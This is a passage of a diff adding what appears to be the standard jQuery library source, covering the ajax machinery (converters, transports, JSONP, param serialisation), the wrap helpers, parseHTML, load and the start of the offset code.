+			jqXHR[ s.responseFields[ current ] ] = response;
+		}
+
+		// Apply the dataFilter if provided
+		if ( !prev && isSuccess && s.dataFilter ) {
+			response = s.dataFilter( response, s.dataType );
+		}
+
+		prev = current;
+		current = dataTypes.shift();
+
+		if ( current ) {
+
+		// There's only work to do if current dataType is non-auto
+			if ( current === "*" ) {
+
+				current = prev;
+
+			// Convert response if prev dataType is non-auto and differs from current
+			} else if ( prev !== "*" && prev !== current ) {
+
+				// Seek a direct converter
+				conv = converters[ prev + " " + current ] || converters[ "* " + current ];
+
+				// If none found, seek a pair
+				if ( !conv ) {
+					for ( conv2 in converters ) {
+
+						// If conv2 outputs current
+						tmp = conv2.split( " " );
+						if ( tmp[ 1 ] === current ) {
+
+							// If prev can be converted to accepted input
+							conv = converters[ prev + " " + tmp[ 0 ] ] ||
+								converters[ "* " + tmp[ 0 ] ];
+							if ( conv ) {
+								// Condense equivalence converters
+								if ( conv === true ) {
+									conv = converters[ conv2 ];
+
+								// Otherwise, insert the intermediate dataType
+								} else if ( converters[ conv2 ] !== true ) {
+									current = tmp[ 0 ];
+									dataTypes.unshift( tmp[ 1 ] );
+								}
+								break;
+							}
+						}
+					}
+				}
+
+				// Apply converter (if not an equivalence)
+				if ( conv !== true ) {
+
+					// Unless errors are allowed to bubble, catch and return them
+					if ( conv && s[ "throws" ] ) {
+						response = conv( response );
+					} else {
+						try {
+							response = conv( response );
+						} catch ( e ) {
+							return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current };
+						}
+					}
+				}
+			}
+		}
+	}
+
+	return { state: "success", data: response };
+}
+
+jQuery.extend({
+
+	// Counter for holding the number of active queries
+	active: 0,
+
+	// Last-Modified header cache for next request
+	lastModified: {},
+	etag: {},
+
+	ajaxSettings: {
+		url: ajaxLocation,
+		type: "GET",
+		isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),
+		global: true,
+		processData: true,
+		async: true,
+		contentType: "application/x-www-form-urlencoded; charset=UTF-8",
+		/*
+		timeout: 0,
+		data: null,
+		dataType: null,
+		username: null,
+		password: null,
+		cache: null,
+		throws: false,
+		traditional: false,
+		headers: {},
+		*/
+
+		accepts: {
+			"*": allTypes,
+			text: "text/plain",
+			html: "text/html",
+			xml: "application/xml, text/xml",
+			json: "application/json, text/javascript"
+		},
+
+		contents: {
+			xml: /xml/,
+			html: /html/,
+			json: /json/
+		},
+
+		responseFields: {
+			xml: "responseXML",
+			text: "responseText",
+			json: "responseJSON"
+		},
+
+		// Data converters
+		// Keys separate source (or catchall "*") and destination types with a single space
+		converters: {
+
+			// Convert anything to text
+			"* text": String,
+
+			// Text to html (true = no transformation)
+			"text html": true,
+
+			// Evaluate text as a json expression
+			"text json": jQuery.parseJSON,
+
+			// Parse text as xml
+			"text xml": jQuery.parseXML
+		},
+
+		// For options that shouldn't be deep extended:
+		// you can add your own custom options here if
+		// and when you create one that shouldn't be
+		// deep extended (see ajaxExtend)
+		flatOptions: {
+			url: true,
+			context: true
+		}
+	},
+
+	// Creates a full fledged settings object into target
+	// with both ajaxSettings and settings fields.
+	// If target is omitted, writes into ajaxSettings.
+	ajaxSetup: function( target, settings ) {
+		return settings ?
+
+			// Building a settings object
+			ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :
+
+			// Extending ajaxSettings
+			ajaxExtend( jQuery.ajaxSettings, target );
+	},
+
+	ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
+	ajaxTransport: addToPrefiltersOrTransports( transports ),
+
+	// Main method
+	ajax: function( url, options ) {
+
+		// If url is an object, simulate pre-1.5 signature
+		if ( typeof url === "object" ) {
+			options = url;
+			url = undefined;
+		}
+
+		// Force options to be an object
+		options = options || {};
+
+		var transport,
+			// URL without anti-cache param
+			cacheURL,
+			// Response headers
+			responseHeadersString,
+			responseHeaders,
+			// timeout handle
+			timeoutTimer,
+			// Cross-domain detection vars
+			parts,
+			// To know if global events are to be dispatched
+			fireGlobals,
+			// Loop variable
+			i,
+			// Create the final options object
+			s = jQuery.ajaxSetup( {}, options ),
+			// Callbacks context
+			callbackContext = s.context || s,
+			// Context for global events is callbackContext if it is a DOM node or jQuery collection
+			globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ?
+				jQuery( callbackContext ) :
+				jQuery.event,
+			// Deferreds
+			deferred = jQuery.Deferred(),
+			completeDeferred = jQuery.Callbacks("once memory"),
+			// Status-dependent callbacks
+			statusCode = s.statusCode || {},
+			// Headers (they are sent all at once)
+			requestHeaders = {},
+			requestHeadersNames = {},
+			// The jqXHR state
+			state = 0,
+			// Default abort message
+			strAbort = "canceled",
+			// Fake xhr
+			jqXHR = {
+				readyState: 0,
+
+				// Builds headers hashtable if needed
+				getResponseHeader: function( key ) {
+					var match;
+					if ( state === 2 ) {
+						if ( !responseHeaders ) {
+							responseHeaders = {};
+							while ( (match = rheaders.exec( responseHeadersString )) ) {
+								responseHeaders[ match[1].toLowerCase() ] = match[ 2 ];
+							}
+						}
+						match = responseHeaders[ key.toLowerCase() ];
+					}
+					return match == null ? null : match;
+				},
+
+				// Raw string
+				getAllResponseHeaders: function() {
+					return state === 2 ? responseHeadersString : null;
+				},
+
+				// Caches the header
+				setRequestHeader: function( name, value ) {
+					var lname = name.toLowerCase();
+					if ( !state ) {
+						name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;
+						requestHeaders[ name ] = value;
+					}
+					return this;
+				},
+
+				// Overrides response content-type header
+				overrideMimeType: function( type ) {
+					if ( !state ) {
+						s.mimeType = type;
+					}
+					return this;
+				},
+
+				// Status-dependent callbacks
+				statusCode: function( map ) {
+					var code;
+					if ( map ) {
+						if ( state < 2 ) {
+							for ( code in map ) {
+								// Lazy-add the new callback in a way that preserves old ones
+								statusCode[ code ] = [ statusCode[ code ], map[ code ] ];
+							}
+						} else {
+							// Execute the appropriate callbacks
+							jqXHR.always( map[ jqXHR.status ] );
+						}
+					}
+					return this;
+				},
+
+				// Cancel the request
+				abort: function( statusText ) {
+					var finalText = statusText || strAbort;
+					if ( transport ) {
+						transport.abort( finalText );
+					}
+					done( 0, finalText );
+					return this;
+				}
+			};
+
+		// Attach deferreds
+		deferred.promise( jqXHR ).complete = completeDeferred.add;
+		jqXHR.success = jqXHR.done;
+		jqXHR.error = jqXHR.fail;
+
+		// Remove hash character (#7531: and string promotion)
+		// Add protocol if not provided (prefilters might expect it)
+		// Handle falsy url in the settings object (#10093: consistency with old signature)
+		// We also use the url parameter if available
+		s.url = ( ( url || s.url || ajaxLocation ) + "" ).replace( rhash, "" )
+			.replace( rprotocol, ajaxLocParts[ 1 ] + "//" );
+
+		// Alias method option to type as per ticket #12004
+		s.type = options.method || options.type || s.method || s.type;
+
+		// Extract dataTypes list
+		s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().match( rnotwhite ) || [ "" ];
+
+		// A cross-domain request is in order when we have a protocol:host:port mismatch
+		if ( s.crossDomain == null ) {
+			parts = rurl.exec( s.url.toLowerCase() );
+			s.crossDomain = !!( parts &&
+				( parts[ 1 ] !== ajaxLocParts[ 1 ] || parts[ 2 ] !== ajaxLocParts[ 2 ] ||
+					( parts[ 3 ] || ( parts[ 1 ] === "http:" ? "80" : "443" ) ) !==
+						( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? "80" : "443" ) ) )
+			);
+		}
+
+		// Convert data if not already a string
+		if ( s.data && s.processData && typeof s.data !== "string" ) {
+			s.data = jQuery.param( s.data, s.traditional );
+		}
+
+		// Apply prefilters
+		inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
+
+		// If request was aborted inside a prefilter, stop there
+		if ( state === 2 ) {
+			return jqXHR;
+		}
+
+		// We can fire global events as of now if asked to
+		// Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118)
+		fireGlobals = jQuery.event && s.global;
+
+		// Watch for a new set of requests
+		if ( fireGlobals && jQuery.active++ === 0 ) {
+			jQuery.event.trigger("ajaxStart");
+		}
+
+		// Uppercase the type
+		s.type = s.type.toUpperCase();
+
+		// Determine if request has content
+		s.hasContent = !rnoContent.test( s.type );
+
+		// Save the URL in case we're toying with the If-Modified-Since
+		// and/or If-None-Match header later on
+		cacheURL = s.url;
+
+		// More options handling for requests with no content
+		if ( !s.hasContent ) {
+
+			// If data is available, append data to url
+			if ( s.data ) {
+				cacheURL = ( s.url += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data );
+				// #9682: remove data so that it's not used in an eventual retry
+				delete s.data;
+			}
+
+			// Add anti-cache in url if needed
+			if ( s.cache === false ) {
+				s.url = rts.test( cacheURL ) ?
+
+					// If there is already a '_' parameter, set its value
+					cacheURL.replace( rts, "$1_=" + nonce++ ) :
+
+					// Otherwise add one to the end
+					cacheURL + ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + nonce++;
+			}
+		}
+
+		// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
+		if ( s.ifModified ) {
+			if ( jQuery.lastModified[ cacheURL ] ) {
+				jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] );
+			}
+			if ( jQuery.etag[ cacheURL ] ) {
+				jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] );
+			}
+		}
+
+		// Set the correct header, if data is being sent
+		if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
+			jqXHR.setRequestHeader( "Content-Type", s.contentType );
+		}
+
+		// Set the Accepts header for the server, depending on the dataType
+		jqXHR.setRequestHeader(
+			"Accept",
+			s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ?
+				s.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
+				s.accepts[ "*" ]
+		);
+
+		// Check for headers option
+		for ( i in s.headers ) {
+			jqXHR.setRequestHeader( i, s.headers[ i ] );
+		}
+
+		// Allow custom headers/mimetypes and early abort
+		if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {
+			// Abort if not done already and return
+			return jqXHR.abort();
+		}
+
+		// Aborting is no longer a cancellation
+		strAbort = "abort";
+
+		// Install callbacks on deferreds
+		for ( i in { success: 1, error: 1, complete: 1 } ) {
+			jqXHR[ i ]( s[ i ] );
+		}
+
+		// Get transport
+		transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
+
+		// If no transport, we auto-abort
+		if ( !transport ) {
+			done( -1, "No Transport" );
+		} else {
+			jqXHR.readyState = 1;
+
+			// Send global event
+			if ( fireGlobals ) {
+				globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
+			}
+			// Timeout
+			if ( s.async && s.timeout > 0 ) {
+				timeoutTimer = setTimeout(function() {
+					jqXHR.abort("timeout");
+				}, s.timeout );
+			}
+
+			try {
+				state = 1;
+				transport.send( requestHeaders, done );
+			} catch ( e ) {
+				// Propagate exception as error if not done
+				if ( state < 2 ) {
+					done( -1, e );
+				// Simply rethrow otherwise
+				} else {
+					throw e;
+				}
+			}
+		}
+
+		// Callback for when everything is done
+		function done( status, nativeStatusText, responses, headers ) {
+			var isSuccess, success, error, response, modified,
+				statusText = nativeStatusText;
+
+			// Called once
+			if ( state === 2 ) {
+				return;
+			}
+
+			// State is "done" now
+			state = 2;
+
+			// Clear timeout if it exists
+			if ( timeoutTimer ) {
+				clearTimeout( timeoutTimer );
+			}
+
+			// Dereference transport for early garbage collection
+			// (no matter how long the jqXHR object will be used)
+			transport = undefined;
+
+			// Cache response headers
+			responseHeadersString = headers || "";
+
+			// Set readyState
+			jqXHR.readyState = status > 0 ? 4 : 0;
+
+			// Determine if successful
+			isSuccess = status >= 200 && status < 300 || status === 304;
+
+			// Get response data
+			if ( responses ) {
+				response = ajaxHandleResponses( s, jqXHR, responses );
+			}
+
+			// Convert no matter what (that way responseXXX fields are always set)
+			response = ajaxConvert( s, response, jqXHR, isSuccess );
+
+			// If successful, handle type chaining
+			if ( isSuccess ) {
+
+				// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
+				if ( s.ifModified ) {
+					modified = jqXHR.getResponseHeader("Last-Modified");
+					if ( modified ) {
+						jQuery.lastModified[ cacheURL ] = modified;
+					}
+					modified = jqXHR.getResponseHeader("etag");
+					if ( modified ) {
+						jQuery.etag[ cacheURL ] = modified;
+					}
+				}
+
+				// if no content
+				if ( status === 204 || s.type === "HEAD" ) {
+					statusText = "nocontent";
+
+				// if not modified
+				} else if ( status === 304 ) {
+					statusText = "notmodified";
+
+				// If we have data, let's convert it
+				} else {
+					statusText = response.state;
+					success = response.data;
+					error = response.error;
+					isSuccess = !error;
+				}
+			} else {
+				// Extract error from statusText and normalize for non-aborts
+				error = statusText;
+				if ( status || !statusText ) {
+					statusText = "error";
+					if ( status < 0 ) {
+						status = 0;
+					}
+				}
+			}
+
+			// Set data for the fake xhr object
+			jqXHR.status = status;
+			jqXHR.statusText = ( nativeStatusText || statusText ) + "";
+
+			// Success/Error
+			if ( isSuccess ) {
+				deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
+			} else {
+				deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
+			}
+
+			// Status-dependent callbacks
+			jqXHR.statusCode( statusCode );
+			statusCode = undefined;
+
+			if ( fireGlobals ) {
+				globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError",
+					[ jqXHR, s, isSuccess ? success : error ] );
+			}
+
+			// Complete
+			completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );
+
+			if ( fireGlobals ) {
+				globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );
+				// Handle the global AJAX counter
+				if ( !( --jQuery.active ) ) {
+					jQuery.event.trigger("ajaxStop");
+				}
+			}
+		}
+
+		return jqXHR;
+	},
+
+	getJSON: function( url, data, callback ) {
+		return jQuery.get( url, data, callback, "json" );
+	},
+
+	getScript: function( url, callback ) {
+		return jQuery.get( url, undefined, callback, "script" );
+	}
+});
+
+jQuery.each( [ "get", "post" ], function( i, method ) {
+	jQuery[ method ] = function( url, data, callback, type ) {
+		// Shift arguments if data argument was omitted
+		if ( jQuery.isFunction( data ) ) {
+			type = type || callback;
+			callback = data;
+			data = undefined;
+		}
+
+		return jQuery.ajax({
+			url: url,
+			type: method,
+			dataType: type,
+			data: data,
+			success: callback
+		});
+	};
+});
+
+
+jQuery._evalUrl = function( url ) {
+	return jQuery.ajax({
+		url: url,
+		type: "GET",
+		dataType: "script",
+		async: false,
+		global: false,
+		"throws": true
+	});
+};
+
+
+jQuery.fn.extend({
+	wrapAll: function( html ) {
+		var wrap;
+
+		if ( jQuery.isFunction( html ) ) {
+			return this.each(function( i ) {
+				jQuery( this ).wrapAll( html.call(this, i) );
+			});
+		}
+
+		if ( this[ 0 ] ) {
+
+			// The elements to wrap the target around
+			wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );
+
+			if ( this[ 0 ].parentNode ) {
+				wrap.insertBefore( this[ 0 ] );
+			}
+
+			wrap.map(function() {
+				var elem = this;
+
+				while ( elem.firstElementChild ) {
+					elem = elem.firstElementChild;
+				}
+
+				return elem;
+			}).append( this );
+		}
+
+		return this;
+	},
+
+	wrapInner: function( html ) {
+		if ( jQuery.isFunction( html ) ) {
+			return this.each(function( i ) {
+				jQuery( this ).wrapInner( html.call(this, i) );
+			});
+		}
+
+		return this.each(function() {
+			var self = jQuery( this ),
+				contents = self.contents();
+
+			if ( contents.length ) {
+				contents.wrapAll( html );
+
+			} else {
+				self.append( html );
+			}
+		});
+	},
+
+	wrap: function( html ) {
+		var isFunction = jQuery.isFunction( html );
+
+		return this.each(function( i ) {
+			jQuery( this ).wrapAll( isFunction ? html.call(this, i) : html );
+		});
+	},
+
+	unwrap: function() {
+		return this.parent().each(function() {
+			if ( !jQuery.nodeName( this, "body" ) ) {
+				jQuery( this ).replaceWith( this.childNodes );
+			}
+		}).end();
+	}
+});
+
+
+jQuery.expr.filters.hidden = function( elem ) {
+	// Support: Opera <= 12.12
+	// Opera reports offsetWidths and offsetHeights less than zero on some elements
+	return elem.offsetWidth <= 0 && elem.offsetHeight <= 0;
+};
+jQuery.expr.filters.visible = function( elem ) {
+	return !jQuery.expr.filters.hidden( elem );
+};
+
+
+
+
+var r20 = /%20/g,
+	rbracket = /\[\]$/,
+	rCRLF = /\r?\n/g,
+	rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
+	rsubmittable = /^(?:input|select|textarea|keygen)/i;
+
+function buildParams( prefix, obj, traditional, add ) {
+	var name;
+
+	if ( jQuery.isArray( obj ) ) {
+		// Serialize array item.
+		jQuery.each( obj, function( i, v ) {
+			if ( traditional || rbracket.test( prefix ) ) {
+				// Treat each array item as a scalar.
+				add( prefix, v );
+
+			} else {
+				// Item is non-scalar (array or object), encode its numeric index.
+				buildParams( prefix + "[" + ( typeof v === "object" ? i : "" ) + "]", v, traditional, add );
+			}
+		});
+
+	} else if ( !traditional && jQuery.type( obj ) === "object" ) {
+		// Serialize object item.
+		for ( name in obj ) {
+			buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
+		}
+
+	} else {
+		// Serialize scalar item.
+		add( prefix, obj );
+	}
+}
+
+// Serialize an array of form elements or a set of
+// key/values into a query string
+jQuery.param = function( a, traditional ) {
+	var prefix,
+		s = [],
+		add = function( key, value ) {
+			// If value is a function, invoke it and return its value
+			value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value );
+			s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value );
+		};
+
+	// Set traditional to true for jQuery <= 1.3.2 behavior.
+	if ( traditional === undefined ) {
+		traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;
+	}
+
+	// If an array was passed in, assume that it is an array of form elements.
+	if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
+		// Serialize the form elements
+		jQuery.each( a, function() {
+			add( this.name, this.value );
+		});
+
+	} else {
+		// If traditional, encode the "old" way (the way 1.3.2 or older
+		// did it), otherwise encode params recursively.
+		for ( prefix in a ) {
+			buildParams( prefix, a[ prefix ], traditional, add );
+		}
+	}
+
+	// Return the resulting serialization
+	return s.join( "&" ).replace( r20, "+" );
+};
+
+jQuery.fn.extend({
+	serialize: function() {
+		return jQuery.param( this.serializeArray() );
+	},
+	serializeArray: function() {
+		return this.map(function() {
+			// Can add propHook for "elements" to filter or add form elements
+			var elements = jQuery.prop( this, "elements" );
+			return elements ? jQuery.makeArray( elements ) : this;
+		})
+		.filter(function() {
+			var type = this.type;
+
+			// Use .is( ":disabled" ) so that fieldset[disabled] works
+			return this.name && !jQuery( this ).is( ":disabled" ) &&
+				rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&
+				( this.checked || !rcheckableType.test( type ) );
+		})
+		.map(function( i, elem ) {
+			var val = jQuery( this ).val();
+
+			return val == null ?
+				null :
+				jQuery.isArray( val ) ?
+					jQuery.map( val, function( val ) {
+						return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
+					}) :
+					{ name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
+		}).get();
+	}
+});
+
+
+jQuery.ajaxSettings.xhr = function() {
+	try {
+		return new XMLHttpRequest();
+	} catch( e ) {}
+};
+
+var xhrId = 0,
+	xhrCallbacks = {},
+	xhrSuccessStatus = {
+		// file protocol always yields status code 0, assume 200
+		0: 200,
+		// Support: IE9
+		// #1450: sometimes IE returns 1223 when it should be 204
+		1223: 204
+	},
+	xhrSupported = jQuery.ajaxSettings.xhr();
+
+// Support: IE9
+// Open requests must be manually aborted on unload (#5280)
+// See https://support.microsoft.com/kb/2856746 for more info
+if ( window.attachEvent ) {
+	window.attachEvent( "onunload", function() {
+		for ( var key in xhrCallbacks ) {
+			xhrCallbacks[ key ]();
+		}
+	});
+}
+
+support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported );
+support.ajax = xhrSupported = !!xhrSupported;
+
+jQuery.ajaxTransport(function( options ) {
+	var callback;
+
+	// Cross domain only allowed if supported through XMLHttpRequest
+	if ( support.cors || xhrSupported && !options.crossDomain ) {
+		return {
+			send: function( headers, complete ) {
+				var i,
+					xhr = options.xhr(),
+					id = ++xhrId;
+
+				xhr.open( options.type, options.url, options.async, options.username, options.password );
+
+				// Apply custom fields if provided
+				if ( options.xhrFields ) {
+					for ( i in options.xhrFields ) {
+						xhr[ i ] = options.xhrFields[ i ];
+					}
+				}
+
+				// Override mime type if needed
+				if ( options.mimeType && xhr.overrideMimeType ) {
+					xhr.overrideMimeType( options.mimeType );
+				}
+
+				// X-Requested-With header
+				// For cross-domain requests, seeing as conditions for a preflight are
+				// akin to a jigsaw puzzle, we simply never set it to be sure.
+				// (it can always be set on a per-request basis or even using ajaxSetup)
+				// For same-domain requests, won't change header if already provided.
+				if ( !options.crossDomain && !headers["X-Requested-With"] ) {
+					headers["X-Requested-With"] = "XMLHttpRequest";
+				}
+
+				// Set headers
+				for ( i in headers ) {
+					xhr.setRequestHeader( i, headers[ i ] );
+				}
+
+				// Callback
+				callback = function( type ) {
+					return function() {
+						if ( callback ) {
+							delete xhrCallbacks[ id ];
+							callback = xhr.onload = xhr.onerror = null;
+
+							if ( type === "abort" ) {
+								xhr.abort();
+							} else if ( type === "error" ) {
+								complete(
+									// file: protocol always yields status 0; see #8605, #14207
+									xhr.status,
+									xhr.statusText
+								);
+							} else {
+								complete(
+									xhrSuccessStatus[ xhr.status ] || xhr.status,
+									xhr.statusText,
+									// Support: IE9
+									// Accessing binary-data responseText throws an exception
+									// (#11426)
+									typeof xhr.responseText === "string" ? {
+										text: xhr.responseText
+									} : undefined,
+									xhr.getAllResponseHeaders()
+								);
+							}
+						}
+					};
+				};
+
+				// Listen to events
+				xhr.onload = callback();
+				xhr.onerror = callback("error");
+
+				// Create the abort callback
+				callback = xhrCallbacks[ id ] = callback("abort");
+
+				try {
+					// Do send the request (this may raise an exception)
+					xhr.send( options.hasContent && options.data || null );
+				} catch ( e ) {
+					// #14683: Only rethrow if this hasn't been notified as an error yet
+					if ( callback ) {
+						throw e;
+					}
+				}
+			},
+
+			abort: function() {
+				if ( callback ) {
+					callback();
+				}
+			}
+		};
+	}
+});
+
+
+
+
+// Install script dataType
+jQuery.ajaxSetup({
+	accepts: {
+		script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
+	},
+	contents: {
+		script: /(?:java|ecma)script/
+	},
+	converters: {
+		"text script": function( text ) {
+			jQuery.globalEval( text );
+			return text;
+		}
+	}
+});
+
+// Handle cache's special case and crossDomain
+jQuery.ajaxPrefilter( "script", function( s ) {
+	if ( s.cache === undefined ) {
+		s.cache = false;
+	}
+	if ( s.crossDomain ) {
+		s.type = "GET";
+	}
+});
+
+// Bind script tag hack transport
+jQuery.ajaxTransport( "script", function( s ) {
+	// This transport only deals with cross domain requests
+	if ( s.crossDomain ) {
+		var script, callback;
+		return {
+			send: function( _, complete ) {
+				script = jQuery("<script>").prop({
+					async: true,
+					charset: s.scriptCharset,
+					src: s.url
+				}).on(
+					"load error",
+					callback = function( evt ) {
+						script.remove();
+						callback = null;
+						if ( evt ) {
+							complete( evt.type === "error" ? 404 : 200, evt.type );
+						}
+					}
+				);
+				document.head.appendChild( script[ 0 ] );
+			},
+			abort: function() {
+				if ( callback ) {
+					callback();
+				}
+			}
+		};
+	}
+});
+
+
+
+
+var oldCallbacks = [],
+	rjsonp = /(=)\?(?=&|$)|\?\?/;
+
+// Default jsonp settings
+jQuery.ajaxSetup({
+	jsonp: "callback",
+	jsonpCallback: function() {
+		var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) );
+		this[ callback ] = true;
+		return callback;
+	}
+});
+
+// Detect, normalize options and install callbacks for jsonp requests
+jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
+
+	var callbackName, overwritten, responseContainer,
+		jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?
+			"url" :
+			typeof s.data === "string" && !( s.contentType || "" ).indexOf("application/x-www-form-urlencoded") && rjsonp.test( s.data ) && "data"
+		);
+
+	// Handle iff the expected data type is "jsonp" or we have a parameter to set
+	if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) {
+
+		// Get callback name, remembering preexisting value associated with it
+		callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ?
+			s.jsonpCallback() :
+			s.jsonpCallback;
+
+		// Insert callback into url or form data
+		if ( jsonProp ) {
+			s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName );
+		} else if ( s.jsonp !== false ) {
+			s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName;
+		}
+
+		// Use data converter to retrieve json after script execution
+		s.converters["script json"] = function() {
+			if ( !responseContainer ) {
+				jQuery.error( callbackName + " was not called" );
+			}
+			return responseContainer[ 0 ];
+		};
+
+		// force json dataType
+		s.dataTypes[ 0 ] = "json";
+
+		// Install callback
+		overwritten = window[ callbackName ];
+		window[ callbackName ] = function() {
+			responseContainer = arguments;
+		};
+
+		// Clean-up function (fires after converters)
+		jqXHR.always(function() {
+			// Restore preexisting value
+			window[ callbackName ] = overwritten;
+
+			// Save back as free
+			if ( s[ callbackName ] ) {
+				// make sure that re-using the options doesn't screw things around
+				s.jsonpCallback = originalSettings.jsonpCallback;
+
+				// save the callback name for future use
+				oldCallbacks.push( callbackName );
+			}
+
+			// Call if it was a function and we have a response
+			if ( responseContainer && jQuery.isFunction( overwritten ) ) {
+				overwritten( responseContainer[ 0 ] );
+			}
+
+			responseContainer = overwritten = undefined;
+		});
+
+		// Delegate to script
+		return "script";
+	}
+});
+
+
+
+
+// data: string of html
+// context (optional): If specified, the fragment will be created in this context, defaults to document
+// keepScripts (optional): If true, will include scripts passed in the html string
+jQuery.parseHTML = function( data, context, keepScripts ) {
+	if ( !data || typeof data !== "string" ) {
+		return null;
+	}
+	if ( typeof context === "boolean" ) {
+		keepScripts = context;
+		context = false;
+	}
+	context = context || document;
+
+	var parsed = rsingleTag.exec( data ),
+		scripts = !keepScripts && [];
+
+	// Single tag
+	if ( parsed ) {
+		return [ context.createElement( parsed[1] ) ];
+	}
+
+	parsed = jQuery.buildFragment( [ data ], context, scripts );
+
+	if ( scripts && scripts.length ) {
+		jQuery( scripts ).remove();
+	}
+
+	return jQuery.merge( [], parsed.childNodes );
+};
+
+
+// Keep a copy of the old load method
+var _load = jQuery.fn.load;
+
+/**
+ * Load a url into a page
+ */
+jQuery.fn.load = function( url, params, callback ) {
+	if ( typeof url !== "string" && _load ) {
+		return _load.apply( this, arguments );
+	}
+
+	var selector, type, response,
+		self = this,
+		off = url.indexOf(" ");
+
+	if ( off >= 0 ) {
+		selector = jQuery.trim( url.slice( off ) );
+		url = url.slice( 0, off );
+	}
+
+	// If it's a function
+	if ( jQuery.isFunction( params ) ) {
+
+		// We assume that it's the callback
+		callback = params;
+		params = undefined;
+
+	// Otherwise, build a param string
+	} else if ( params && typeof params === "object" ) {
+		type = "POST";
+	}
+
+	// If we have elements to modify, make the request
+	if ( self.length > 0 ) {
+		jQuery.ajax({
+			url: url,
+
+			// if "type" variable is undefined, then "GET" method will be used
+			type: type,
+			dataType: "html",
+			data: params
+		}).done(function( responseText ) {
+
+			// Save response for use in complete callback
+			response = arguments;
+
+			self.html( selector ?
+
+				// If a selector was specified, locate the right elements in a dummy div
+				// Exclude scripts to avoid IE 'Permission Denied' errors
+				jQuery("<div>").append( jQuery.parseHTML( responseText ) ).find( selector ) :
+
+				// Otherwise use the full result
+				responseText );
+
+		}).complete( callback && function( jqXHR, status ) {
+			self.each( callback, response || [ jqXHR.responseText, status, jqXHR ] );
+		});
+	}
+
+	return this;
+};
+
+
+
+
+// Attach a bunch of functions for handling common AJAX events
+jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( i, type ) {
+	jQuery.fn[ type ] = function( fn ) {
+		return this.on( type, fn );
+	};
+});
+
+
+
+
+jQuery.expr.filters.animated = function( elem ) {
+	return jQuery.grep(jQuery.timers, function( fn ) {
+		return elem === fn.elem;
+	}).length;
+};
+
+
+
+
+var docElem = window.document.documentElement;
+
+/**
+ * Gets a window from an element
+ */
+function getWindow( elem ) {
+	return jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;
+}
+
+jQuery.offset = {
+	setOffset: function( elem, options, i ) {
+		var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
+			position = jQuery.css( elem, "position" ),
+			curElem = jQuery( elem ),
+			props = {};
+
+		// Set position first, in-case top/left are set even on static elem
+		if ( position === "static" ) {
+			elem.style.position = "relative";
+		}
+
+		curOffset = curElem.offset();
+		curCSSTop = jQuery.css( elem, "top" );
+		curCSSLeft = jQuery.css( elem, "left" );
+		calculatePosition = ( position === "absolute" || position === "fixed" ) &&
+			( curCSSTop + curCSSLeft ).indexOf("auto") > -1;
+
+		// Need to be able to calculate position if either
+		// top or left is auto and position is either absolute or fixed
+		if ( calculatePosition ) {
+			curPosition = curElem.position();
+			curTop = curPosition.top;
+			curLeft = curPosition.left;
+
+		} else {
+			curTop = parseFloat( curCSSTop ) || 0;
+			curLeft = parseFloat( curCSSLeft ) || 0;
+		}
+
+		if ( jQuery.isFunction( options ) ) {
+			options = options.call( elem, i, curOffset );
+		}
+
+		if ( options.top != null ) {
+			props.top = ( options.top - curOffset.top ) + curTop;
+		}
+		if ( options.left != null ) {
+			props.left = ( options.left - curOffset.left ) + curLeft;
+		}
+
+		if ( "using" in options ) {
+			options.using.call( elem, props );
+
+		} else {
